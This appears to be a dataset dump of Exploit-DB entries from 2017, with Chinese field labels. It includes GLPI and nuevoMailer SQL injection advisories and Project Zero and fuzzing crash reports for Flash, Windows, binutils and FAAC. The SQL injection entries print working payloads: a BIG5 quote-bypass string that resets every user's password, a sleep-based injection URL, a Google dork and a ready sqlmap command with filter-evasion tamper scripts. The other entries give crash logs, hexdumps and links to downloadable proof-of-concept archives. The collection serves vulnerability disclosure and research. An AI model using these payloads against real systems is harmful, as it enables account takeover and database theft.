QLWD/code_shield huggingface dataset:
标题: GLPI 0.90.4 - SQL Injection EDB-ID: 42262 CVE: 2016-7508 类型: WEBAPPS 平台: PHP 发布日期: 2017-06-27 漏洞利用脚本: # Exploit Title: Multiple SQL injection vulnerabilities in GLPI 0.90.4
# Date: 2016/09/09
# Exploit Author: Eric CARTER (in/ericcarterengineer - CS c-s.fr)
# Vendor Homepage: http://glpi-project.org
# Software Link: http://glpi-project.org/spip.php?article3
# Version: 0.90.4
# Tested on: GLPI 0.90.4 running on a Debian 7, Apache 2.2.2, MySQL 5.5.49
# CVE : CVE-2016-7508

Multiple SQL injection vulnerabilities in GLPI 0.90.4 allow an 
authenticated remote attacker to execute arbitrary SQL commands by 
using the [ELIDED] character when the database is configured to use 
asian encoding (BIG 5).



> [Affected Component]
The file ./inc/dbmysql.class.php defines the encoding the database 
should use. This files uses the "SET NAMES" function which offers the 
possibility to use a specific encoding.

> [Attack Type]
Remote

> [Impact Code execution]
True

> [Impact Escalation of Privileges]
True

> [Impact Information Disclosure]
True

> [Prerequisite]
The administrator of GLPI must have defined the variable 
$dbenc='big5' in ./config/config_db.php to support asian encoding. It 
will then be possible to do SQL injection in almost all the forms of 
the application.
 
> [Attack Vectors]
For the proof-of-concept, the attacker targeted the 
"Surname" form input in the User profile by adding the characters 
ø (\xBF\x27) before the SQL code (the request must be sent using Western
encoding) :
ø', password=61529519452809720693702583126814 -- x

Once received by the server, the request will be sanitized, giving :
ø\', password=61529519452809720693702583126814 -- x

The value will then be sent to the database with a BIG5 encoding. Here is the 
critical point, as BIG5 will see the string ø\ as a single asian character 
encoded on two bytes. As the single quote isn't escaped anymore, the 
SQL code will be executed and will set the password of every accounts 
to the value
61529519452809720693702583126814 (=MD5 hash of "ximaz" string) URL: https://www.exploit-db.com/exploits/42262
标题: Adobe Flash - AVC Edge Processing Out-of-Bounds Read EDB-ID: 42247 CVE: 2017-3076 类型: DOS 平台: MULTIPLE 发布日期: 2017-06-23 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1212

The attached file causes an out-of-bounds read in avc edge processing.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42247.zip URL: https://www.exploit-db.com/exploits/42247
标题: Adobe Flash - Image Decoding Out-of-Bounds Read EDB-ID: 42248 CVE: 2017-3077 类型: DOS 平台: MULTIPLE 发布日期: 2017-06-23 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1215

The attached png file causes an out-of-bounds read when being decoded by flash. To reproduce the issue, put LoadImage.swf and read1.png on a server, and visit:

http://127.0.0.1/LoadImage.swf=read1.png


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42248.zip URL: https://www.exploit-db.com/exploits/42248
标题: Adobe Flash - ATF Parser Heap Corruption EDB-ID: 42249 CVE: 2017-3078 类型: DOS 平台: MULTIPLE 发布日期: 2017-06-23 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1216

The attached file causes heap corruption in the ATF parser. To reproduce the issue, copy atffree.atf and LoadImage.swf to a server, and visit http://127.0.0.1/LoadImage.swf?img=atffree.png.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42249.zip URL: https://www.exploit-db.com/exploits/42249
标题: Microsoft Windows - 'win32k!NtGdiMakeFontDir' Kernel Stack Memory Disclosure EDB-ID: 42230 CVE: 2017-8477 类型: DOS 平台: WINDOWS 发布日期: 2017-06-22 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1191

We have discovered that the win32k!NtGdiMakeFontDir system call discloses large portions of uninitialized kernel stack memory to user-mode clients.

The attached proof of concept code (which is specific to Windows 7 32-bit) works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the nt!NtMapUserPhysicalPages system call, and then invoking the affected win32k!NtGdiMakeFontDir syscall. As a result, we can observe that a number of leftover bytes from the stack are indeed leaked to user-mode via the output structure:

--- cut ---
00000000: 01 00 00 00 00 02 95 00 00 00 57 69 6e 64 6f 77 ..........Window
00000010: 73 21 20 57 69 6e 64 6f 77 73 21 20 57 69 6e 64 s! Windows! Wind
00000020: 6f 77 73 21 00 10 03 01 01 00 00 00 00 00 00 00 ows!............
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 03 40 00 08 48 00 48 00 66 06 .......@..H.H.f.
00000050: 00 00 1b 02 00 00 00 f4 01 00 00 00 00 08 07 e8 ................
00000060: 03 86 02 1f a8 01 02 00 00 00 00 00 00 76 00 00 .............v..
00000070: 00 08 00 00 00 41 77 69 6e 65 5f 74 65 73 74 00 .....Awine_test.
00000080: 77 69 6e 65 5f 74 65 73 74 00 4d 65 64 69 75 6d wine_test.Medium
00000090: 00 41 41 41 41 00 41 41 41 41 41 41 41 41 41 41 .AAAA.AAAAAAAAAA
000000a0: 41 41 41 41 41 41 41 41 41 00 41 41 41 41 41 41 AAAAAAAAA.AAAAAA
000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA.
000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000f0: 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? AAAAAAAAAAA.....
--- cut ---

In order for the PoC program to work, the attached wine_test.ttf font must be present in the current working directory.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42230.zip URL: https://www.exploit-db.com/exploits/42230
标题: Microsoft Windows - 'USP10!CreateIndexTable' Uniscribe Font Processing Out-of-Bounds Memory Read EDB-ID: 42237 CVE: 2017-0282 类型: DOS 平台: WINDOWS 发布日期: 2017-06-23 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1201

We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!CreateIndexTable function, while trying to display text using a corrupted TTF font file:

---
(5cc.74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000025 edi=0365428f
eip=774cc410 esp=002cef70 ebp=002cf084 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
USP10!CreateIndexTable+0x40:
774cc410 0fb64c4701      movzx   ecx,byte ptr [edi+eax*2+1] ds:0023:03654290=??
0:000> kb
 # ChildEBP RetAddr  Args to Child              
00 002cf084 774cc35e 036437d0 03653f68 03651ff4 USP10!CreateIndexTable+0x40
01 002cf098 774c746e 036437d0 03643fd0 036439d0 USP10!CreateIsStartOfRuleTable+0x2e
02 002cf0fc 774c7124 0000001a 035e3d88 035effa8 USP10!LoadTTOArabicShapeTables+0x29e
03 002cf110 774cc734 6c010413 035e3d88 035d6124 USP10!LoadArabicShapeTables+0xd4
04 002cf12c 774ba5a0 6c010413 036437d0 0000001a USP10!ArabicLoadTbl+0xd4
05 002cf154 774ba692 035d6124 6c010413 0000001a USP10!UpdateCache+0xb0
06 002cf168 774c15fd 6c010413 035d6000 774c16ab USP10!ScriptCheckCache+0x62
07 002cf174 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
08 002cf1ac 774c2bd4 00000001 00000002 002cf22c USP10!RenderItemNoFallback+0x5b
09 002cf1d8 774c2e62 00000001 00000002 002cf22c USP10!RenderItemWithFallback+0x104
0a 002cf1fc 774c43f9 00000002 002cf22c 035d6124 USP10!RenderItem+0x22
0b 002cf240 774b7a04 000004a0 00000400 6c010413 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0c 002cf258 760a1736 6c010413 035d6040 0000000a USP10!ScriptStringAnalyse+0x284
0d 002cf2a4 760a18c1 6c010413 002cf728 0000000a LPK!LpkStringAnalyse+0xe5
0e 002cf3a0 760a17b4 6c010413 00000000 00000000 LPK!LpkCharsetDraw+0x332
0f 002cf3d4 77df56a9 6c010413 00000000 00000000 LPK!LpkDrawTextEx+0x40
10 002cf414 77df5a64 6c010413 00000070 00000000 USER32!DT_DrawStr+0x13c
11 002cf460 77df580f 6c010413 002cf728 002cf73c USER32!DT_GetLineBreak+0x78
12 002cf50c 77df5882 6c010413 00000000 0000000a USER32!DrawTextExWorker+0x250
13 002cf530 77df5b68 6c010413 002cf728 ffffffff USER32!DrawTextExW+0x1e
[...]
---

The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is a proof of concept malformed font file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42237.zip URL: https://www.exploit-db.com/exploits/42237
标题: GNU binutils - 'bfd_get_string' Stack Buffer Overflow EDB-ID: 42200 CVE: 2017-9747 类型: DOS 平台: LINUX 发布日期: 2017-06-19 漏洞利用脚本: Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21581

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: 02d8fa874391d563ccfd5911ff5f5cf8.fe651c9b03ff955c157ecee745208476.min
Output: 02d8fa874391d563ccfd5911ff5f5cf8.fe651c9b03ff955c157ecee745208476.txt

Error in "bfd_get_string": stack-buffer-overflow
  in bfd_get_string at bfd/ieee.c:198
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L198)
  in read_id at bfd/ieee.c:227
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L227)
  in ieee_object_p at bfd/ieee.c:1907
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L1907)
  in bfd_check_format_matches at bfd/format.c:311
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/format.c#L311)
  in display_object_bfd at binutils/objdump.c:3602
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3602)
  in display_any_bfd at binutils/objdump.c:3693
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3693)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42200.zip URL: https://www.exploit-db.com/exploits/42200
标题: GNU binutils - 'rx_decode_opcode' Buffer Overflow EDB-ID: 42198 CVE: 2017-9750 类型: DOS 平台: LINUX 发布日期: 2017-06-19 漏洞利用脚本: Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21587

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: 9ed130cf25d8df5207cad7fc0de4fc1f.109246746a4907b00292c7837b29f085.min
Output: 9ed130cf25d8df5207cad7fc0de4fc1f.109246746a4907b00292c7837b29f085.txt

Error in "rx_decode_opcode": global-buffer-overflow
  in rx_decode_opcode at opcodes/rx-decode.opc:288
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/rx-decode.opc#L288)
  in print_insn_rx at opcodes/rx-dis.c:123
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/rx-dis.c#L123)
  in disassemble_bytes at binutils/objdump.c:1864
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1864)
  in disassemble_section at binutils/objdump.c:2309
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42198.zip URL: https://www.exploit-db.com/exploits/42198
标题: GNU binutils - 'print_insn_score16' Buffer Overflow EDB-ID: 42203 CVE: 2017-9742 类型: DOS 平台: LINUX 发布日期: 2017-06-19 漏洞利用脚本: Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21576

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: 2a13a720199253614962e0bb4402d98c.9149a6478708ae7cb458345e7cbc9354.min
Output: 2a13a720199253614962e0bb4402d98c.9149a6478708ae7cb458345e7cbc9354.txt

Error in "print_insn_score16": global-buffer-overflow
  in print_insn_score16 at opcodes/score7-dis.c:723
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/score7-dis.c#L723)
  in s7_print_insn at opcodes/score7-dis.c:954
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/score7-dis.c#L954)
  in disassemble_bytes at binutils/objdump.c:1864
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1864)
  in disassemble_section at binutils/objdump.c:2309
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42203.zip URL: https://www.exploit-db.com/exploits/42203
标题: Freeware Advanced Audio Coder (FAAC) 1.28 - Denial of Service EDB-ID: 42207 CVE: 2017-9130 2017-9129 类型: DOS 平台: LINUX 发布日期: 2017-06-20 漏洞利用脚本: Freeware Advanced Audio Coder (FAAC) multiple vulnerabilities

================
Author : qflb.wu
===============

Introduction:
=============
FAAC is an encoder for a lossy sound compression scheme specified in MPEG-2 Part 7 and MPEG-4 Part 3 standards and known as Advanced Audio Coding (AAC). This encoder is useful for producing files that can be played back on iPod. Moreover, iPod does not understand other sound compression schemes in video files.

Affected version:
=====
1.28

Vulnerability Description:
==========================
1.
the wav_open_read function in frontend/input.c in Freeware Advanced Audio Coder (FAAC) 1.28 can cause a denial of service(large loop) via a crafted wav file.

./faac faac_1.28_wav_open_read_large_loop.wav -o out.aac

POC:
faac_1.28_wav_open_read_large_loop.wav
CVE:
CVE-2017-9129

2.
the faacEncOpen function in libfaac/frame.c in Freeware Advanced Audio Coder (FAAC) 1.28 can cause a denial of service(invalid memory read and application crash) via a crafted wav file.

./faac faac_1.28_faacEncOpen_invalid_memory.wav -o out.aac

ASAN:SIGSEGV
=================================================================
==49677==ERROR: AddressSanitizer: SEGV on unknown address 0x7f3e959c9b34 (pc 0x7f3e96bf7739 sp 0x7ffe47c93980 bp 0x000000a59e50 T0)
    #0 0x7f3e96bf7738 in faacEncOpen /home/a/Downloads/faac-1.28/libfaac/frame.c:368
    #1 0x49c444 in main /home/a/Downloads/faac-1.28/frontend/main.c:803
    #2 0x7f3e959d3ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #3 0x49311c in _start (/home/a/Downloads/faac-1.28/frontend/.libs/lt-faac+0x49311c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/a/Downloads/faac-1.28/libfaac/frame.c:368 faacEncOpen
==49677==ABORTING

POC:
faac_1.28_faacEncOpen_invalid_memory.wav
CVE:
CVE-2017-9130

===============================

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42207.zip URL: https://www.exploit-db.com/exploits/42207
标题: GNU binutils - 'ieee_object_p' Stack Buffer Overflow EDB-ID: 42202 CVE: 2017-9748 类型: DOS 平台: LINUX 发布日期: 2017-06-19 漏洞利用脚本: Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21582

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: ef51bcdcaae667058b002f94b5dafd05.12926af7cc4fab77f87a3ec70a329100.min
Output: ef51bcdcaae667058b002f94b5dafd05.12926af7cc4fab77f87a3ec70a329100.txt

Error in "ieee_object_p": stack-buffer-overflow
  in ieee_object_p at bfd/ieee.c:1985
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L1985)
  in bfd_check_format_matches at bfd/format.c:311
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/format.c#L311)
  in display_object_bfd at binutils/objdump.c:3602
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3602)
  in display_any_bfd at binutils/objdump.c:3693
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3693)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42202.zip URL: https://www.exploit-db.com/exploits/42202
标题: nuevoMailer 6.0 - SQL Injection EDB-ID: 42193 CVE: 2017-9730 类型: WEBAPPS 平台: PHP 发布日期: 2017-06-09 漏洞利用脚本: # Exploit Title: nuevoMailer version 6.0 and earlier time-based SQL Injection
# Exploit Author: ALEH BOITSAU
# Google Dork: inurl:/inc/rdr.php?
# Date: 2017-06-09
# Vendor Homepage: https://www.nuevomailer.com/
# Version: 6.0 and earlier
# Tested on: Linux
# CVE: CVE-2017-9730

Description: SQL injection vulnerability in rdr.php in nuevoMailer version 6.0 and earlier 
allows remote attackers to execute arbitrary SQL commands via the "r" parameter. 

PoC:

https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556[time based SQL INJ]

https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556%20and%20sleep(10)--+

sqlmap -u "http://vulnerable_site.com/inc/rdr.php?r=120c44c5" --dbms=mysql -p r --tamper=equaltolike,between  --hostname --technique=T -v 3 --random-agent --time-sec=4

NB: "equaltolike" and "between" arsenal to defeat filtering! Data retrieval process may take more than usual time.

Disclosure Timeline:
2017-06-09: Vendor has been notified
2017-06-09: Vendor responded with intention to fix the vulnerability
2017-06-16: CVE number acquired
2017-06-16: Public disclosure URL: https://www.exploit-db.com/exploits/42193